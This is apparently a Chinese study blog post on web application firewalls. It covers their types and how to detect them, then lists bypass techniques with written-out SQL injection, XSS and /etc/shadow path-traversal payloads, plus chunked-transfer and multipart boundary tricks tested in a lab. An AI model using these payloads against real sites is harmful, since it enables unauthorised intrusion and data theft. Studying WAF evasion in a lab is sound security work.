来学习一下waf的相关知识,参考文章:https://www.kancloud.cn/noahs/src_hacker/2395057

https://xz.aliyun.com/t/12684?time__1311=mqmhDvqIOaGNDQtiQGkIfdAI3GKA9xhD&alichlgref=https%3A%2F%2Fwww.google.com%2F

WAF的分类

  1. 软件
    装在主机侧(服务器)上的软件,如安全狗、D盾、云锁等。
  2. 硬件
    装在企业链路上的,所有流量都要进过的硬件,一般由厂商安装,其串联在内网交换机,防护范围大。
  3. 云waf
    通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如阿里云、腾讯云之类。

WAF工作原理

处理流程大致分为四部分:预处理、规则检测、处理模块、日志记录

预处理

接收到数据请求流量时,先判断该请求是否白名单,如果在白名单内直接交给服务器响应,否则解析后进入到规则检测。

规则检测

数据解析后就会进入到WAF的检测体系中进行规则匹配,检查是否符合要求。

处理模块

针对检测结果,符合要求的就交给后端响应,不符合的则会执行相关的防御动作,比如:阻断、记录、告警等。

不同的WAF产品会自定义不同的拦截警告页面,在日常渗透中我们也可以根据不同的拦截页面来辨别出网站使用了哪款WAF产品,从而有目的性的进行WAF绕过。

这篇文章有常见的WAF产品的界面:https://cloud.tencent.com/developer/article/1872310

日志记录

即记录下拦截处理的日志。

WAF的判断

sqlmap

网站有waf的话,sqlmap在进行扫描遇到waf的时候也会有提示。

Wafw00f

这是kali下自带的一个waf检测工具,比如这里探测一下baidu

wafw00f www.baidu.com

image-20240422134538639

手动测试

我们可以通过分析http请求响应报文的X-Powered-By字段,比如他可能显示anyu.qianxin.com,那么用的就是奇安信的WAF。

恶意字符或者敏感页面测试

比如一些sql注入的语句或者一些命令执行字符,或者访问一些敏感页面,看看是否会出现防火墙的拦截页面。

WAF的绕过

检测规则绕过

修改请求方式绕过

最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。

复参数绕过

#例如一个请求是这样的
GET /pen/news.php?id=1 union select user,password from mysql.user
#可以修改为
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

大小写绕过

id=1 UnIon SelECt 1

URL编码绕过

被WAF阻止:UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)绕过的技术:UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29

Unicode技术

../../etc/shadow混淆:
%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow

该技术可以参考一下p神最新的文章:https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

这里贴一下unicode转UTF-8的转换表

image-20240422160514001

总结下大概就是正常unicode编码的.应该是\u2e,是无法转换成两字节UTF-8编码的,但是我们可以给他前面补0,然后分成5位和6位两组,00000、101110,然后分别给这两组加前缀110、10,这样对应就是\xC0\xAE。

但是这并不是一个合法的UTF-8字符,有些语言在转换时就会出错,比如python,但是java就不会,java存在这个解析缺陷,所以可以造成路径穿越。

其他的字符也同理,这里贴一下各字符的转换

Unicode的URL编码

. = %u002e
/ = %u2215
\ = %u2216

UTF-8的Unicode编码

. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c

这是p神的ascii转换成Overlong Encoding的UTF-8编码脚本:

def convert_int(i: int) -> bytes:
b1 = ((i >> 6) & 0b11111) | 0b11000000
b2 = (i & 0b111111) | 0b10000000
return bytes([b1, b2])


def convert_str(s: str) -> bytes:
bs = b''
for ch in s.encode():
bs += convert_int(ch)

return bs


if __name__ == '__main__':
print(convert_str('.')) # b'\xc0\xae'
print(convert_str('org.example.Evil')) # b'\xc1\xaf\xc1\xb2\xc1\xa7\xc0\xae\xc1\xa5\xc1\xb8\xc1\xa1\xc1\xad\xc1\xb0\xc1\xac\xc1\xa5\xc0\xae\xc1\x85\xc1\xb6\xc1\xa9\xc1\xac'

特殊字符替换

用一些特殊字符替换空格,比如mysql中的%0a是换行,可以用来代替空格,还有内联注释/**/替换空格等等

还有%23为#号用来注释等等

#原注入语句
xxx/sql.php/id=1 union select 1,user(),3,4,5
#混用后
xxx/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
xxx/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2

特殊字符拼接

把特殊字符拼接起来绕过WAF的检测,比如在mssql中,函数里面可以用+来拼接

#如:
GET /pen/news.php?id=1;exec(master…xp_cmdshell ‘net user’)
#可以改为:
GET /pen/news.php?id=1;exec(‘maste’+‘r…xp’+’_cmdshell’+’“net user”’)

注释包含关键词

在mysql中,可以利用/!/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容

GET /pen/news.php?id=1 union select user,password from mysql.user
#可以改为:
GET /pen/news.php?id=1 /!union/ /!select/ user,password /!from/ mysql.user

关键词替换

有些waf会把关键词替换为’’,这样就可以双写绕过

xxx/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
#此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成
union select 1,2,3,4....

编码与注释结合

xxx/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
xxx/sql.php?id=1/*!50000*/union/*!50000*/select/*!50000*/1,user(),3,4,5
xxx/sqli/Less-1/?id=1' and /*!1=1*/ %23 (WAF不拦截)

<script>confirm()</script>
绕过的技术:<!--><script>confirm/**/()/**/</script>

还可以用sqlmap的脚本实现自动注入

sqlmap.py -u "URL" --tamper="versionedmorekeywords.py" --dealy=1

语句替换

就是找一些其他具有同等效果的命令或者变量进行替换

@@version 代替品 version()
concat() 代替品 concat_ws()
group_concat() 代替品 concat_ws()
= 代替品 like

#还有就是把or '1=1' 改成更复杂的如-1=-1**

宽字节绕过

这是gbk和utf-8导致的编码转换问题,gbk是用固定的两个字节表示一个汉字,编码范围为:第一个字节是(129-254),第二个字节(64-254),当为gbk编码时遇到连续的两个符合字节范围的字节,就会自动解析为一个汉字

比如:php的addslashes函数为了防止sql注入会对传入的参数进行转义,比如**’–>\‘**,让单引号失去作用

这时候就可以用宽字节绕过,\‘的编码为%5C%27,我们只要输入%df%27,%df就会和%5C组合成两个符合gbk编码范围的字节,就会解析成为一个汉字,因为%5c的编码位数为92,%df的编码位数为223,%df%5c符合gbk取值范围,这样\就会失去他的转义作用。

union = uю%69яю这里把i不用宽字节 直接url编码 其他的字符都用对应的宽字节
select = こхlх%уt //t不编码 其他的都宽字节 中间插上%
from = цR%яэ //宽字节+%
空格=%20=%ва //в是2的款字符 а是0的宽字符
, = Ь //,号的宽字节

00截断绕过

id=1%00and 1=2 union select 1,2,column_name from information_schema.columns

溢出waf绕过

就是脏数据绕过,添加一些无用的字符去绕过检测,因为有些waf只检测固定长度的内容

?id=1+and+sleep(3) 
绕过payload:
?id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

协议未覆盖绕过

比如下面是四种Content-Type类型

  • Content-Type:multipart/form-data;
  • Content-Type:application/x-www-form-urlencoded
  • Content-Type: text/xml
  • Content-Type: application/json

有些waf只针对了一种进行过滤,而忽略了其他的类型,我们可以替换着去尝试一下绕过。

分块传输绕过

参考文章:https://forum.butian.net/share/1982

分块传输介绍

分块传输编码是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由应用服务器向客户端发送的数据分成多个部分,在消息头中指定 Transfer-Encoding: chunked 就表示整个response将使用分块传输编译来传输内容。一个消息块由n块组成,并在最后一个大小为0的块结束。

这是一张传输流程图;

image-20240422230718168

安全狗分块传输绕过

这里使用安全狗和pikachu靶场环境来进行学习

sql注入

这里演示一下安全狗bypass sql注入,选用pikachu靶场的第一个数字型注入

image-20240423155829763

他这里是使用post传参的,这里我们尝试查询

先查询正常数据

image-20240423160031061

然后查询一下敏感数据

image-20240423160100271

挺离谱的安全狗页面都不弹直接给我500.。。。

一开始以为服务器有问题,再去看了一下是有拦截日志的

image-20240423160205769

然后我们可以使用burp的一个分块传输插件进行编码

image-20240423160247835

image-20240423160317250

但是很遗憾他查不出东西我也不知道,我看网上都是用sqli-lab来做演示是可以的,不知道是不是靶场问题,这里懒得再搭一个知道分块传输怎么用就行了(

文件上传分块绕过

这里选择第一个client check关卡

上传图片是正常的

image-20240423160746018

xs不过他安全狗没有检测文件内容似乎

然后改成php就会变成500

image-20240423160840426

image-20240423160856459

然后使用分块传输

image-20240423161111604

难绷还是没有成功,安全狗不拦截了感觉是服务器解析的问题,可能服务器不太支持分块传输,反正我看别人的都是可以的(

延时分块传输

参考文章:https://blog.csdn.net/weixin_43571641/article/details/123749544

因为现在很多waf也可以识别分块传输,检测步骤一般如下:

  1. 发现数据包是分块传输,启动分块传输线程进行接收
  2. 分块传输线程不断接收客户端传来的分块,直到接收到0\r\n\r\n
  3. 将所有分块合并,并检测合并之后的内容

而延时分块传输就是在这基础之上,在上一块传输完成后sleep一段时间,再发送下一块,目的是在2阶段延长WAF分块传输线程的等待时间,从而消耗WAF性能。

延时分块传输可以使用chunked-coding-converter插件,这里放一张原理图:

img

注意:块与块之间发送的间隔时间必须要小于后端中间件的post timeout,Tomcat默认是20s,weblogic是30s。

boundary边界混淆绕过

boundary介绍

先了解一下boundary边界:

bounday就是使用multipart/form-data传递请求时用于区分传输数据的不同部分,他的请求体会类似这样:

POST /submit-form HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX2xgCtC5TrfYuPLo

------WebKitFormBoundaryX2xgCtC5TrfYuPLo
Content-Disposition: form-data; name="text"

Hello, World!
------WebKitFormBoundaryX2xgCtC5TrfYuPLo
Content-Disposition: form-data; name="file"; filename="example.txt"
Content-Type: text/plain

这是文件的内容。
------WebKitFormBoundaryX2xgCtC5TrfYuPLo--

其中的boundary定义的就是分割边界

总结下来一个典型的 multipart/form-data 请求体包含以下部分:

  • 边界字符串:每个数据部分的开始和结束都由边界字符串标识。
  • 内容描述:每个部分的开始都有一个 Content-Disposition 头,描述了该部分的字段名、文件名等信息。
  • 内容类型:可选的 Content-Type 头,指示了数据的类型,如 text/plainimage/jpeg
  • 数据本身:字段值或文件内容。

混淆绕过

即我们可以对boundary的定义添加一些自定义的boundary来进行绕过

boundary有这样一些特性:

  1. boundary的结束标志不一致时可以正常响应,开始标志不一致时则不能正常响应
  2. 当有多个boundary定义时只有第一个起作用

我们可以通过构造多个boundary和修改boundary结束标志来达到混淆的效果,这里用pikachu和安全狗测试,也就是上面分块传输的测试地方

这里多加了一个boundary就成功绕过了

image-20240423164150994

我们去访问一下看看

image-20240423164248964

发现已经成功绕过了,但是内容检测异常所以被拦了,我就说怎么不检测内容在这等着我原来。

Cookie/X-Forwarded-For注入绕过

部分WAF可能只对GET,POST提交的参数进行过滤,未对Cookie或者X-Forwarded-For进行检测,可通过cookie或者X-Forwarded-For提交注入参数语句进行绕过。

比如这样:

GET /index.aspx HTTP/1.1
Host: 192.168.61.175
Cookie:TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28; id=1+and+1=1;
X-Forwarded-For:127.0.0.1';WAITFOR DELAY'0:0:5'--

利用pipline绕过

当请求中的Connection字段值为keep-alive,则代表本次发起的请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。部分WAF可能只对第一次传输过来的请求进行过滤处理。

我们可以先关闭burp的Repeater的Content-Length自动更新,然后修改connection的值为keep-alive,将攻击语句附加到正常请求后面再发送一次。